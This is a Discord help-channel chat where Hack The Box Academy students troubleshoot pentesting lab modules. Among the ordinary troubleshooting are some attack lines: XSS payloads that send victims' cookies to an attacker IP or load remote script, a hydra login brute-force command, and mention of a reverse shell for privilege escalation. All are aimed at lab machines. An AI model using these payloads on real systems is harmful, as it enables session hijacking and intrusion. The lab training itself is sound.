the error ur getting in ssh, means that the authentication method allowed is only via private and public keys, passwords arent allowed

[sacred jacinth]

if our target host had an associated URL/FQDN and we wanted to resolve it which protocol would that be? and that protocol should have a port what if we mimic the request as that protocol?

[shell ore]

lemme try smth rq, to see if i remember the module correctly, 1 sec

[wooden silo]

ok, it doesn't look like the rest of the module covers keys tho

[shell ore]

ok so, have u tried connecting to the SMB service?

[wooden silo]

smbclient or smbwalk?

[shell ore]

i remember there was quite talking abt ssh keys somewhere in the module or previous ones

[shell ore]

normal smbclient

see what shares there are, what info on them

[old oasis]

I think you confusing smb with snmp

[wooden silo]

lemme go see rq, I've been working on this problem for days now so my memory is a little hazy on how I got where I got

[shell ore]

i thought the same, but then i was like: maybe there is smth called smbwalk whatever

[shell ore]

its okay, stay relaxed and recheck ur stuff

[wooden silo]

sweats profusely

[wooden silo]

got this

[sacred jacinth]

don't post screenshots

[shell ore]

connect and see what u can do

[wooden silo]

trying not to

[shell ore]

i dont beleive there are any spoilers there so its okay 😅

but if u prefer, then delete it, better safe than sorry i guess

[sacred jacinth]

mr goblin gets angry but idk

[shell ore]

ahaa

[wooden silo]

can we DM?

[shell ore]

sure

[cerulean grail]

Hi, when I attempt to discover the nameservers of the infreightlane.htb domain in DNS Zone Transfers module of the Information Gathering Web Edition in the penetration tester job path I get nothing back from the dig command that I could leverage to execute zone transfer. I'm using pwnbox.

[naive sage]

@shell ore next time SMB into SSH to get the cerds.

[sacred jacinth]

well the secondary dns that you are trying to zone transfer to is perhaps not supposed to return anything? how about you try a different secondary dns?

[unkempt mist]

I need help with the "login bruteforcing" module I am on the "Login Forms" section and am using this exact command to bruteforce the login but its not working. hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f 83.136.254.47 -s 55886 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials". Please tell me what I am doing wrong I don't understand at this point.

[hazy comet]

Got an issue with XSS session hijacking. I can get a response from the site but the cookie value is empty for the admin. I have tested this on my own side and it returns my cookie value. I have tried generating a cookie by supplying the login url to the admin before the xss payload. Any ideas on the issue? Thanks

[cerulean grail]

I'm not sure what I'm doing wrong. No command is showing me any nameservers for me to leverage into zone transfer. I can send the commands over if that would help.

[spice shore]

Do I have to pay inorder to practice HTB?

[sacred jacinth]

send me the commands

[safe star]

Need to see the payload

[river marsh]

if im using a VPN file to connect my own VM to thw HTB VPN do i need to grab a new file everytiime i want to connect? i was able to connect just fine the first time yesterday but now im trying again and it doesnt appear to be working

[safe star]

Only if you change regions

[sacred jacinth]

HTB Labs? Not all machines. Only for the retired.

[river marsh]

im running the vpn and im getting the "Initialization Sequence Completed" but it seems likt it keeps trying to reconnect? i dont recall the first time the console i was connecting to constally logging stuff

[safe star]

Can you connect to machines?

[bitter talon]

@sacred jacinth I give up, I’ve spent two days on this exercise and I can’t solve it. Thank you for the help.

[sacred jacinth]

get in my dms

[river marsh]

like with pwnbox? yeah can connect just fine and ping/nmap my target ip just fine as well

[hollow hull]

I am having issues with Footprinting lab medium. I believe I need to access MSSQL using the Microsoft SQL Server Management Studio. When I try to authenticate I get the following error:

TITLE: Connect to Server
------------------------------

Cannot connect to WINMEDIUM.

------------------------------
ADDITIONAL INFORMATION:

A connection was successfully established with the server, but then an error occurred during the login process. (provider: Shared Memory Provider, error: 0 - No process is on the other end of the pipe.) (Microsoft SQL Server, Error: 233)

For help, click: https://docs.microsoft.com/sql/relational-databases/errors-events/mssqlserver-233-database-engine-error

------------------------------

No process is on the other end of the pipe

------------------------------
BUTTONS:

OK
------------------------------

Am I doing something wrong or is there an issue with the lab?

[safe star]

With your own vm

[safe star]

Is this from rdp?

[hollow hull]

Yes

[river marsh]

with my own vm when i attempt nmap <targetip> it just says host seems down

[sacred jacinth]

-Pn

[safe star]

Maybe try those creds on another user

[hollow hull]

Will do, thanks.

[rustic sage]

Thanks, yea I saw that. I just don't have the VIP access so trying to exhaust what I have access in HTB-A for the time. Thanks again.

[old oasis]

Also FYI prolabs is not included in the VIP access. Its a separate sub.

[unkempt mist]

I need help with the "login bruteforcing" module I am on the "Login Forms" section and am using this exact command to bruteforce the login but its not working. hydra -L top-usernames-shortlist.txt -P 2023-200_most_used_passwords.txt -f 83.136.254.47 -s 55886 http-post-form "/:username=^USER^&password=^PASS^:F=Invalid credentials". Please tell me what I am doing wrong I don't understand at this point. This is the form I am bruteforcing ```
<form method="POST">
<h2>Login</h2>
<label for="username">Username:</label>
<input type="text" id="username" name="username">
<label for="password">Password:</label>
<input type="password" id="password" name="password">
<input type="submit" value="Login">

        <p class="error">Invalid credentials</p>

</form>```

[subtle oriole]

hello guys

any good samaritan who can throw me some light on Nibbles - Privilege Escalation module?

monitor.sh does not work as intended once I modify it to open a reverse shell on my attacker machine with root privileges

[fathom pendant]

You need to specify the full path

[subtle oriole]

it keeps asking to introduce a password which shouldn't be the case as the file can be run with root privileges

[fathom pendant]

Specify the full path

[subtle oriole]

DAMMM!!!

thank you very much

what is the reason for that?, I am already located on the directory where the file is

[dim wolf]

you could make another file called monitor.sh, it's not the same as the one specified in sudo -l

[subtle oriole]

got ya

thx

[severe anchor]

Hey everyone
Sorry this is random

I’m looking for a team for the hack the boo practice and competition

But I can’t find any here
I wanted to post it on the general channel, but it kept directing me here

[river marsh]

so we can connect to smb/ftp using smbclient and ftp, and once there we can view files and retrieve them. but on the actualy target machine where are the files used for smb and ftp being stored?

[acoustic owl]

Please i need team members for the CTF boo competition

[dim wolf]

create a post in #1225791307256168448

[acoustic owl]

Okay thanks 😊

[safe star]

Have to be on the machine to find that out

Usually just a folder

[viral lotus]

while going through modules when on machines for exploration purposes is it good to look to see if you can get to root? more just for POC and to test yourself?

[quiet trout]

not particularly, this is better for boxes. (after finding root you try a diff way to get root, or user w/e). to my understanding most academy boxes are set up to do just the lab involved and have been hardened to other attacks, taking over the machine would be a liability on the network

[viral lotus]

hmmm... fair enough, I found a really easy root using a sudo -l so it was just exploring but fair enough, I know there are ROE when doing actual testing I just thought it was cool to string things together

[median gale]

Need help on Local File Inclusion SA

I am at the end nearly, the only problem being cant access my payload altough read the source code

[quiet trout]

mind linking so i can confirm its the one ive done? i think i have a nudge for you

[median gale]

https://academy.hackthebox.com/module/136/section/1310

[quiet trout]

this is "normal" just up arrow and reconnect.

[quiet trout]

yeah ive done this one wanna DM me where you're at and what you've tried so far?

[median gale]

Sure

[quiet trout]

no its just like lag or something? it comes and goes, keep retrying

hmm, usually for me its just rdp no issues SCP or ssh or whatever, have you reset?

target and pwnbox

[viral lotus]

Have you tried using remmina?

I never had any issues there are also some flags in xfreerdp you can apply to help you if you scroll up they are in here somewhere or use the man page

I’m pretty sure there’s a /auto-reconnect flag you can put on and there is one for timeouts too but I don’t know them off the top of my head I just tend to use remmina but it’s a gui but as long as it’s done I don’t care 😂

[shut vapor]

I don't know the situation with the box you were on, but sudoers entries match on the start of a string and that can be a reason. Other times if you're exploiting something, the account that runs the binary may not have the environmental variables you expect (i.e. PATH). Maybe other reasons too, but at any rate full paths are usually something you should try.

[dim wolf]

usually entries in sudoers will have the absolute path to the file. if it's a relative path, that's an issue

[rustic sage]

Which vm software should I use?

[vapid thistle]

While I managed to pass the skill assessment lab for the Pivoting, Tunneling, and Port Forwarding module i have a question (SPOILER AHEAD)
||While doing dynamic port forwarding using ssh -D 9050 or using the solution provided (metasploit) my nmap (same as in the solution) ends up showing this:
proxychains nmap 172.16.5.35 -Pn -sT 53/tcp open domain syn-ack 113/tcp closed ident conn-refused 2000/tcp open cisco-sccp syn-ack 5060/tcp open sip syn-ack

However in the solution I am meant to have something similar to this:
proxychains nmap 172.16.5.35 -Pn -sT 22/tcp open ssh 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 3389/tcp open ms-wbt-server

Any idea why that might happen?||

[wooden silo]

Week 6 > Attacking Common Services > Attacking Email Services

I am on the last question and where I have to login to the targets email. Everytime I try to use telnet to login I keep getting strings saying invalid commands. Since my screenshots will have answers to the other question in them I will have to send them via DM if you need them

[shut vapor]

I seem to recall unusual results like that. A little googling and I found someone posted about the issue. I also found someone pointing out that NMAP has it's own arguments to specify a SOCKS proxy which works better than proxychains.
https://stackoverflow.com/questions/78202269/nmap-scan-returns-all-ports-open-when-ran-with-proxychains-through-a-linux-w
||I should go back and play with it some more myself because when I found that nmap over proxychains was prohibitively slow and gave me weird results I just opted for another route. Sshuttle worked way better for me in that first pivot. I must have gone through that assessment 4 times already with different tools including ligolo... and still feel like I could learn more||

[safe star]

What service

[wooden silo]

I've only tried using telnet to login from the IMAP and POP servers and both keep giving me invalid credential errors even though I am using the correct password and username

[safe star]

Did you add the domain to the username

[wooden silo]

the "@domain.htb"? yes I did

[safe star]

Dm the commands

[plain kernel]

https://academy.hackthebox.com/achievement/1267476/9

[green minnow]

Is there something I can add to my routers whitelist so I can not send the docker sites through my proxy tunnel? As they are not working with the proxy tunnel enabled.

Without having to add every ip individually

[vapid thistle]

@shut vapor Thank you for sharing this! Even with sshuttle I had similar issues but I guess I should try again :).Aside from that, you are right, indeed it might be worth digging into nmap args as well.

[shut vapor]

I'm on Active Directory Enumeration & Attacks > ACL Enumeration
Trying to follow along and reverse an ObjectACEType GUID to human-readable form
The "reverse search and mapping" powershell command throws an error I'm not having luck fumbling my way around:

PS C:\> Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -like 'ControlAccessRight'} -Properties * |Select Name,DisplayName,DistinguishedName,rightsGuid| ?{$_.rightsGuid -eq $guid} | fl

An error occurred while enumerating through a collection: The (&ObjectClass -like
'ControlAccessRight') search filter is invalid..
At C:\Tools\PowerView.ps1:6664 char:13
+             $Results | Where-Object {$_} | ForEach-Object {
+             ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : InvalidOperation: (System.Director...sultsEnumerator:ResultsEnumera
   tor) [], RuntimeException
    + FullyQualifiedErrorId : BadEnumeration

[cloud urchin]

don't use the -like operator use -eq instead

it says in your error you pasted the search filter -like is invalid

[shut wraith]

anyone else cant start machine in CTPS Academy

[shut vapor]

You're partially right. It doesn't like -eq either. Something is wrong with referencing "ObjectClass" I think. I completely remove the filter and I get the output that is expected. I found the issue in errata and am very interested in learning how @.dpgg got it working.
#1244914227018203207 message

[unique ether]

This might sound like a weird question but is it possible to print a whole module in one go not page by page?

Or like get a pdf for a module

I cant bare to look at my screen rn

[cloud urchin]

I had assumed you assigned $guid already

[shut vapor]

I did.

it definitely would complain about something else if $guid wasn't assigned. Something wonky with that command for me.

[cloud urchin]

i'd have to see the new error after using -eq

[shut vapor]

Same error essentially. Completely remove that -filter bit and it works. ¯_(ツ)_/¯

[cloud urchin]

it's a different error

[shut vapor]

I put the details in erratum linked earlier too

[cloud urchin]

it says the ControlAccessRight search filter is invalid

try correcting the case as AD searches can be case-sensitive

controlAccessRight

you may also want to simplify it and try running just a basic query to see if basic retrieval is working

Get-ADObject -SearchBase "CN=Extended-Rights,$((Get-ADRootDSE).ConfigurationNamingContext)" -Filter {ObjectClass -eq 'controlAccessRight'} -Properties Name,DisplayName,DistinguishedName,rightsGuid

[shut vapor]

It most certainly is the same error with the exception that one mentions -like and the other -eq:

Uh... let me try with "controlAccessRight" but it's neither here nor there at this point. I don't think that filter is necessary.

[shut vapor]

No luck fixing case or using the command you offered. Thanks for your insights though. My notes are in errata and maybe @.dpgg can offer some clarity.

[cloud urchin]

welp no idea then. i'm not a programmer by any means.

[shut vapor]

lol yea I gotchya. I'm mystified by powershell myself.

and I am a programmer

[next bronze]

that command works for me

[shut vapor]

wth 💀

[cloud urchin]

he's a real programmer

[next bronze]

ControlAccessRight should be a valid filter, idk why it's saying invalid

[cloud urchin]

that's a different command

after -Filter Xre0us has {ObjectClass... while the original command has -Filter {$_.ObjectCLass...

i believe $_. iterates like "for each"

or something like that

[shut vapor]

ack! You're right. The $_ was from me futzing with it and using the up arrow to grab it out of history.

Here without the $_ though... and then with the filter removed it works.

[cloud urchin]

well glad you guys got it figured out

[shut vapor]

Anywya... yea. If it's working for XreOuS I'll... uh... I don't know... try again tomorrow with a fresh lab.

And if not I'll just stick with my abridged version

GOYS! @cloud urchin @next bronze (sorry to @ you XreOuS, I see you're DND but wanted to show you)

It fails after importing PowerView!

THATS the problem. 😅 🤪 💀

[next bronze]

oh I've heard this from someone else

yeah that's a thing, if you import powerview some objects are modified

makes sense

[shut vapor]

It even says in the error but I was thinking the command from the lab involved PowerView (because it does earlier).

Well... that's one of those things that wasted a ton of my time that I'll never forget at least.

Thanks for all the help!

[next bronze]

I believe powerview has built in queries for this so I guess once you import it you can just use those

[cloud urchin]

i knew it the whole time, i just wanted you to figure it out for yourself

[uneven cairn]

hi, ```#!/bin/bash

url="http://ip:port"

for i in {1..20}; do
for link in $(curl -s "$url/documents.php" -X POST -H 'Content-Type: application/x-www-form-urlencoded' -d 'uid=$i' | grep -oP "/documents.*?.txt"); do
wget -q $url/$link
done
done```

something wrong?

lol .

@cloud urchin

[cloud urchin]

?

[uneven cairn]

are you serious

[cloud urchin]

why did you randomly ping me

[uneven cairn]

In order not to give a direct clue to the answer, I will only say that the solution to this question is to read the clue that the question gives you (press hint).

[uneven cairn]

is not randomly lol i was needing help with a module

[cloud urchin]

seemed pretty random. you didn't mention the module/section, or anything for that matter

am i supposed to read your mind?

[safe star]

So funny every time tomrider types 🤣

[dim wolf]

i can't figure out what you're trying to do either

[uneven cairn]

why?

[cloud urchin]

idk if that's really tomrider

if you search his name there are two accounts, same name same pic different discord name

[uneven cairn]

why are you searching my name just stop here

[cloud urchin]

were you banned or something

[dim wolf]

i can confirm that this is tomrider

[uneven cairn]

no

[safe star]

Try replacing wget -q with curl -O

[uneven cairn]

i already solve it

[uneven cairn]

He gets angry because I asked him something, then he started looking for my name and accusing me of being previously banned, what a clown

[cloud urchin]

i'm angry?

[next bronze]

you're either rude as hell or new to the internet

[cloud urchin]

the real tomrider wouldn't talk to me like that

[next bronze]

or both

[next bronze]

there are 2?

[uneven cairn]

more than 20 years in the industry and you tell me this, could you please have some respect?

[cloud urchin]

yeah search the name there are 2 accounts.

[next bronze]

time to ban one of them

[next bronze]

and you can't figure out a simple bash script?

[cloud urchin]

stop making tom look bad

[next bronze]

are both of them trolls?

[worthy wren]

hey does anybody know why i cant type in general

[dim wolf]

you need to verify your account by following the steps in #welcome

[uneven cairn]

Then ask for the ban, jackass, the best thing he can do is make fun of me because I asked for help with a bash script (the script was fine, there was something in the module that I had understood) if you want to call me stupid, I don't think this is the correct context, I don't think you have the authority with that role to make fun of someone who pays the Academy premium for a question in a module.

[cloud urchin]

you didn't ask for help though you just pasted a script with no context

[uneven cairn]

yes lol i was expecting some obviously bash error that i yet no figured but wasnt that, my bad for the lack of context

[dim wolf]

there's no need for the namecalling

[cloud urchin]

i'm not great at scripting so idk if there's anything wrong with that

i threw it into chatgpt and it said nothing about anything being wrong

[dim wolf]

just provide more context with your question next time and you'll have a better chance at getting help

[uneven cairn]

Ok, sorry for being rude supernuts and calculacOre

[next bronze]

okay buddy with 20 years of experience

[uneven cairn]

@dim wolf Are you sure there was no need for namecalling?

[cloud urchin]

you still didnt' say what you needed help with

[safe star]

This dude has mastered trolling

[cloud urchin]

30 mins later...

[cloud urchin]

ngl it's pretty entertaining

[uneven cairn]

Check my recent messages, I already solved it, thanks anyway

[uneven cairn]

im not trolling can you stop?

[next bronze]

ooh I get it

20 years of experience with trolling

very good, sir

[cloud urchin]

what did you do with the real tomrider36

[dim wolf]

if you want to continue your general antics move to #general

[cloud urchin]

no you're gonna steal my account

[uneven cairn]

just dont accuse me of serious things without foundation.

[merry terrace]

Hi

[opaque talon]

Oh

[quick eagle]

Hello! What method can I use to transfer/download files from Windows rdp session to Linux attack box if SCP is not working? I am currently stuck on Pilaging Section of Windows Privilege Escalation Module and any help is appreciated!

[cloud urchin]

smb, http, rdp itself can do it by sharing drives

plenty of ways

ftp

[quick eagle]

Tried smb but didnt work either. Ok let me try ftp. Thanks man

[cloud urchin]

are you using xfreerdp

[quick eagle]

Yup

[cloud urchin]

try adding the drive parameter, /drive:/home/user/desktop

then you can access the shared folder in file explorer

[quick eagle]

Hmm I can access them on windows when I use xfreerep but I am trying to download those files to linux machine so I can use secretadump.py and get the hash

[cloud urchin]

it shares the folder you select, you can transfer back and forth through that folder..

[urban raptor]

Anyone for intro to whitebox pentesting skills assessment question 2? Keep getting code injection should not be possible, even without sanitization or validation. Not seeing what’s triggering a code injection vuln

[ocean arrow]

anybody else have or had trouble with installing the instant client for oracle and setting up odat in kali linux either arm64 architecture or amd/intel cpus ? (module : foot printing - Oracle TNS)

[simple ledge]

Module: Using Crackmapexec -> Spidering and Finding Juicy Information in an SMB Share

Anyone run into this issue when trying to use the spider module in netexec?

ERROR NetBIOSTimeout on target 10.129.204.177: The NETBIOS connection with the remote host timed out. connection.py:172

[void hemlock]

Module: MSSQL, Exchange, and SCCM Attacks
Section: Skills Assessment
Can someone confirm that we can authenticate on any of the MSSQL database (DB01 or DB02)? I tried a lot of differents credentials and I can't connect to to neither of them

[somber fiber]

haven't open this module

https://tenor.com/6BO9.gif

[stark lark]

Currently doing SQLMap Essentials - Skills Assessment.

Not really looking for hints but I cannot seem to find the place where I need to inject.

Did you guys find it manually or with SQLMap?

[somber fiber]

what ports are open there?

[stark lark]

I'm afraid it has nothing to do with which ports are open

[somber fiber]

hmm intresting

you already have port given by assessment

is there anything related to login or parameter in the request?

[stark lark]

No

[somber fiber]

can you share the screenshot or its web view?

[void hemlock]

Module: MSSQL, Exchange, and SCCM Attacks
Section: Skills Assessment
Can someone confirm that we can authenticate on any of the MSSQL database (DB01 or DB02)? I tried a lot of differents credentials and I can't connect to to neither of them

[vivid sigil]

Password Attacks > Credential Hunting in Windows

What credentials does Bob use with WinSCP to connect to the file server? (Format: username:password, Case-Sensitive)

i got Winscp passwords from Lazagne.exe but when i submit the answer with right Format it didnt work any idea ?

[shell ore]

make sure no spaces are in ur answer

if there arent spaces, DM me if u want, to avoid spoilers here

[vivid sigil]

i tried... and also i write the creds to make sure there is no space

[shell ore]

k DM

[frosty tide]

try looking for a POST request

[hazy comet]

''><script src=http://IP:8080/script.js></script>

[stark lark]

Only POST request I can get a hold of are there and I don't think they will do much

[safe star]

try restarting it

looks fine

[hazy comet]

same issue unfortunately

[shell ore]

i think u need to have a ;

at the end of the line in script.js file

[hazy comet]

I modified it slightly and still same issue

[shell ore]

weird

[vivid pilot]

Hello, folks. I was hoping I could please get some help with INTRO TO ASSEMBLY LANGUAGE. I am stuck on Procedures.
Try assembling and debugging the above code, and note how "call" and "ret" store and retrieve "rip" on the stack. What is the address at the top of the stack after entering "Exit"? (6-digit hex 0xaddress, without zeroes)
I have tried an objdump, disas, and breaks. I am not really sure what the question is asking. When I did the break from _start and stepped through everything, I tried every hex there just to try and pass this; no matter what I tried I cannot seem to pass

[safe star]

i got it to work with just the new image script

try that

[hazy comet]

just tried, no luck. I think the cookie just isn't being set on the victim machine

[safe star]

like this? "><script>new Image().src='http://ip/index.php?c='+document.cookie;</script>

[hazy comet]

yes same issue, I get my own cookie just not the victim cookie

[safe star]

this is the last parameter right?

[hazy comet]

yes I literally copied your payload and even tried removing index.php so it only showed the cookie

[safe star]

yeah, im not sure tbh

last thing I got is to switch vpns

[hazy comet]

I'm using the attackbox 😭

[safe star]

ik, i meant the server

[valid chasm]

Hi everybody I want to register as a student, but I can't

[shell ore]

reach to support

[compact patrol]

https://help.hackthebox.com/en/articles/5986762-contacting-htb-support

[gray cloud]

Hey guys, I cleaned every questions from the Skills Assessment - WordPress exam but the question regarding the unauthenticated file download flag, I used wpscan with my api-key but no matter which vuln am looking at I :
A - Struggle I trying to use them all as most of them don't have an online PoC or a (working) module in metasploit
B - Don't find which one is supposed to be the one to exploit as the descriptions aren't really helping me

anyone could give me a head up please ?

[gray cloud]

update : Found it

[limpid hemlock]

Hey in the citrix breakout section of windows priv esc module how to get the administrators flag i cant seem to access any smb shares to get the tools to strts a cmd shell

[grand portal]

I need help with Password attacks module. Anyone who's done it?

[shell ore]

just say what u need help with

[shell ore]

what SMB share?

[limpid hemlock]

Accessing smb share from restricted enviornment that part you have to do right

To access the tools from the htb student

That part i dont understand

[shell ore]

they talked about it in the module, how access to certain folders, in the example that was show, access to C:\users was foribidde, so a bypass for that is to host an SMB share yourself (using impacket) and then accessing stuff from it

[limpid hemlock]

Where in the pwn box itself host a share

[shell ore]

use smbserver.py as the module explained

[vocal rover]

Error. Machine is not starting in Nmap firewall bypass easy lab module

[shell ore]

still happening?

[vocal rover]

Yup. Just loading "Target is spawning"

[next bronze]

start a target in another module and try again

[trail egret]

here im learning Remote code execution using SMB..Under that SMBExec which is fine which uses smb for rce but why im learning PsExec and atexec ?

[next bronze]

different methods of command execution

[solar pecan]

Guys can I ask if we can save files on Pwnbox?

[shell ore]

i dont think you can, each time u restart the instance, everything get reset

[next bronze]

I think there's a small persistent storage but I don't use it enough to know where it is

maybe the desktop?

[solar pecan]

I'll try.. thanks

[vivid pilot]

Hi there, is here anyone who can help with module Intro to Assembly Language, section Procedures.
Question asking - Try assembling and debugging the above code, and note how "call" and "ret" store and retrieve "rip" on the stack. What is the address at the top of the stack after entering "Exit"? (6-digit hex 0xaddress, without zeroes).

I have tried every possible hex value, but no way. ```python
global _start

section .data
message db "Fibonacci Sequence:", 0x0a

section .text
_start:
call printMessage ; print intro message
call initFib ; set initial Fib values
call loopFib ; calculate Fib numbers
call Exit ; Exit the program

printMessage:
mov rax, 1 ; rax: syscall number 1
mov rdi, 1 ; rdi: fd 1 for stdout
mov rsi,message ; rsi: pointer to message
mov rdx, 20 ; rdx: print length of 20 bytes
syscall ; call write syscall to the intro message
ret

initFib:
xor rax, rax ; initialize rax to 0
xor rbx, rbx ; initialize rbx to 0
inc rbx ; increment rbx to 1
ret

loopFib:
add rax, rbx ; get the next number
xchg rax, rbx ; swap values
cmp rbx, 10 ; do rbx - 10
js loopFib ; jump if result is <0
ret

Exit:
mov rax, 60
mov rdi, 0
syscall

[next bronze]

gdb would show you the address at the top of the stack, it's below the registers. step through the program and stop at the right place, then look for the address

[vivid pilot]

I'll try. I contact you on progress. Thanks 🙂

[void hemlock]

Module: MSSQL, Exchange, and SCCM Attacks
Section: Skills Assessment
Can someone confirm that we can authenticate on any of the MSSQL database (DB01 or DB02)? I tried a lot of differents credentials and I can't connect to to neither of them

[limpid hemlock]

Hey im doing windows priv esc module the citrix breakout section in there they have a section where we need to share tools using an smb share

I dont understand they say we need to start a smb share from attack box but there is not tools folder in the pwn box to set up a share

[vernal tapir]

Did you read a module called “SMB”?

If not, then you’re too ahead of yourself lol

[quiet trout]

which smbclient i think theres better tools for that though @limpid hemlock

impacket? py-smb (or whatever its called)? someone here would know better.

[vernal tapir]

Yeah, I did that module and he just needs to go back to his notes, giving him hints isn’t worth it

Sometimes you need to go back to another module to understand it

[quiet trout]

For sure

[limpid hemlock]

Anyone knws how to solve it

[next bronze]

three separate people have replied to you telling you to read the module again

[next bronze]

^ this too

[vocal rover]

somewhere stuck in Easy lab of OS finding.

Tried -sS, -O, aggressive scan, -T2, -T4, Decoys, -f, RND:10, Specific ports...........Nothing work

but didn't suucced yet. Any guess please

[vernal tapir]

Try to use —source-port= 53

Go back to the Bypassing Firewalls module

[vocal rover]

Port 53 is not availabel

[vernal tapir]

Then you need to find the whitelisted port

[vernal tapir]

This module teaches this issue

[vocal rover]

I go through this but I'm trying my best.....Now

[vernal tapir]

You just want the OS?

[vocal rover]

Yup.....there are active firewall and IDS/IPS

[vernal tapir]

Try “nmap <targetip> -sV -sC -O -Pn —disable-arp-ping”

[vernal tapir]

Yep I know 🙂

That lab was tough. But go back to every note

But if you also do —packet-trace you can see what ports have success what doesn’t when using source ports

[limpid hemlock]

The part i have a doubt is the tools are in the first box i rdp into right then from there we visst a site and then get a citrix launch ica file in order to connect to the restricted environment

So once we are in the restricted environment we need to tranfer our toold from the machin we rdp'd into initialy which has the toold right

These guys have not properly explained how to start a smb server from that initial box we rdp'd into so that we can access that share to get the tools from there

[next bronze]

what?

it's literally in the screenshot you sent

impacket's smbserver

[limpid hemlock]

Ya but where to start that smb server

Thats where im confused

[next bronze]

the terminal?

[limpid hemlock]

No from where like if i start it from my pwn box i dont have the tools in my pwn box to share right the tools are in the machine u rdp into initialy

So to share those tools u need to start a share from that machine we rdp into initilay right but

[autumn pilot]

Being at the Windows Privilege Escalation in the path would mean that you have somewhat of a knowledge about the environment and networking

Take a break and a step back, and I'm pretty sure you will be able to answer the question about where to start the smbserver on your own

[limpid hemlock]

Actualy i got it

😅😂 something just hit me now

[quiet trout]

I asked this module out of scope question in web yesterday, but i think its fairly pedestrian and didnt get an answer, if anyone is willing to answer a simple Q regarding what i think is param pollution (just a yes/no) i would appreciate it. #web message

[quiet trout]

do you know how to use the which cmd? i already suggested you use that to find the tool you're looking for... man man and man which

╰─ which man                                                                 ─╯
/usr/bin/man

╭─ ~ ······················································ 1 ✘  07:44:58 ─╮
╰─ apropos -e awk                                                            ─╯
awk (1)              - pattern scanning and text processing language

@limpid hemlock you should take note of these 3 cmds, man , apropos, which, they help out considerably

one cant be expected to remember every little thing, linux helps us out a fair bit with that

[limpid hemlock]

No the part where im strugling is that i need to start a smb share and in the module they simply started one

I try to start one and it fails

Is there any creds to use to be root so i can try to start one as root

[quiet trout]

i highly suggest you buy the fundamentals module... i dont see you specificying a password for your cmd substition $(pwd) these basics are covered pretty exhaustively in the fundamentals course

failing that you may want to run your cmds by chatgpt and have it explain them to you

[limpid hemlock]

I tried to su root but didnt have any creds i tried some creds like root and all below

[old oasis]

try sudo -i

[limpid hemlock]

But that didnt wrk thats why i asked if in this section any creds given to be root cause i dont see one here

[limpid hemlock]

That worked bro thanks

[foggy monolith]

Yeah, unless you've been daily-driving Linux as a primary OS since 2008 as I have, the Linux Fundamentals module is an absolute must if you want to get anywhere here.

[midnight galleon]

Read file transfer module , windows file transfer section
what they are doing here is that they start an smbserver to the public, and after that from the windows victim they mount that share and upload/download files from it

[midnight galleon]

$(pwd) is for current directory, which could have been just a .

[quiet trout]

oh gosh, yes thats right. sorry im just barely waking up

and waking up too early as it is doesnt help either

[midnight galleon]

this
also, try to map the environment in a paper or Draw.io or something. It is really important specially when you get into the AD and pivoting voodoo magic

[vivid sigil]

Password Attacks > Credential Hunting in Linux

• 0 Examine the target and find out the password of the user Will. Then, submit the password as the answer.

i have kira ssh and i got so stuck i know there is passwd and shadow bak but what next, any idea ?

[midnight galleon]

in order to run a server you typically need to assign a port on your machine(think of it like you are running a cupcake shop from your house and you use the windows as a selling point to customers, that winodow is a port). As for smb servers they are usually assigned to port 465, and Linux by default only allows ports up to 1023 to be assigned by root

so tldr; use sudo

[quiet trout]

crack the has from shadow with hashcat? havent done this module but that seems most logical

[vivid sigil]

i dont have prem to see shadow

[quiet trout]

sudo -l ?

[vivid sigil]

also

[quiet trout]

any perms listed in sudoers?

[vivid sigil]

no

[quiet trout]

bash version vulnerable?

[vivid sigil]

the section did not focus for this

its about hunting

[quiet trout]

this is more like box strat, sorry i can be of more help

[vivid sigil]

there are two tools and non of them work

[quiet trout]

so y ou just know the files exist, you cant actually verify with ls right?

or you can ls /etc/ but cant cat?

[vivid sigil]

i can see them with ls

nvm i got it

[stable jasper]

hello, i'm in the last step of the footprinting medium lab, i just need to find the password in the msql server but i dont understand how i can get the information out of the DB

[next bronze]

run some queries or use the gui tool

[normal sand]

Module: Windows Privilege Escalation

I'm going through the sections on user and group privileges. Let's say you're on an assessment in an AD network, do you just have to enumerate the user and group privileges for every user you've compromised on every machine you've compromised to see if you can find a privilege escalation vector? Is there an easier way to go about it?

[stable jasper]

thats what i'm trying to do (i'm in gui now)

[next bronze]

yeah click around then, also look at the hint

[normal sand]

I don't recall if bloodhound helps with this enumeration?

[next bronze]

pretty much, bloodhound will help with the ad vectors, for local vectors you'd need to do manual checks

[normal sand]

So basically for any user that can log on on a machine, you'd have to manually enumerate the privileges?

[normal sand]

Also, could you please expand on what you mean by AD vectors?

[next bronze]

everything that bloodhound shows

[stable jasper]

got it, completely forgot about the hint 😅 thanks

[next bronze]

yeah, for local PE you'd need to do that

or get a shell in some ways

[normal sand]

Ahh, okay. So all the objects you have control over and stuff. Got it.

[normal sand]

Got it. Thanks!

[normal sand]

Btw let's say you're only able to RDP with domain user A and have credentials of domain user B (unable to RDP). Can you run a powershell window as domain user B after you've RDP using domain user A? If so, how? The runas command?

[next bronze]

I mean that depends on what rights user b can do, run as works or you can try to find other ways to get command execution

[normal sand]

Thanks

[bitter talon]

I am running module 35, section 247 of WEB REQUESTS. I am stuck on an exercise and would like some advice on how to proceed.

The question of the exercise is as follows:
The exercise above seems to be broken, as it returns incorrect results. Use the browser devtools to see what is the request it is sending when we search, and use cURL to search for 'flag' and obtain the flag.

"If I access the web page from the browser, it responds: You must access via cUrl."
http://83.136.251.168:59184/search.php?search=pericolo

If I access via curl, it doesn't return anything. Content-Length: 0.
curl http://83.136.251.168:59184/search.php?search=pericolo -i -H 'Authorization: Basic YWRtaW46YWRtaW4='

I tried to specify the GET method directly.
curl -i -X GET "http://83.136.251.168:59184/search.php?search=pericolo" -H 'Authorization: Basic YWRtaW46YWRtaW4='

Add the Mozilla User-Agent to curl.
curl -i -X GET "http://83.136.251.168:59184/search.php?search=pericolo" -H 'Authorization: Basic YWRtaW46YWRtaW4=' -H 'User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36'
And it responds that I must use CURL.

Modify the Fetch in the browser and send it to the console with Curl User-Agent, and it responds with an empty page with Content-Length: 0

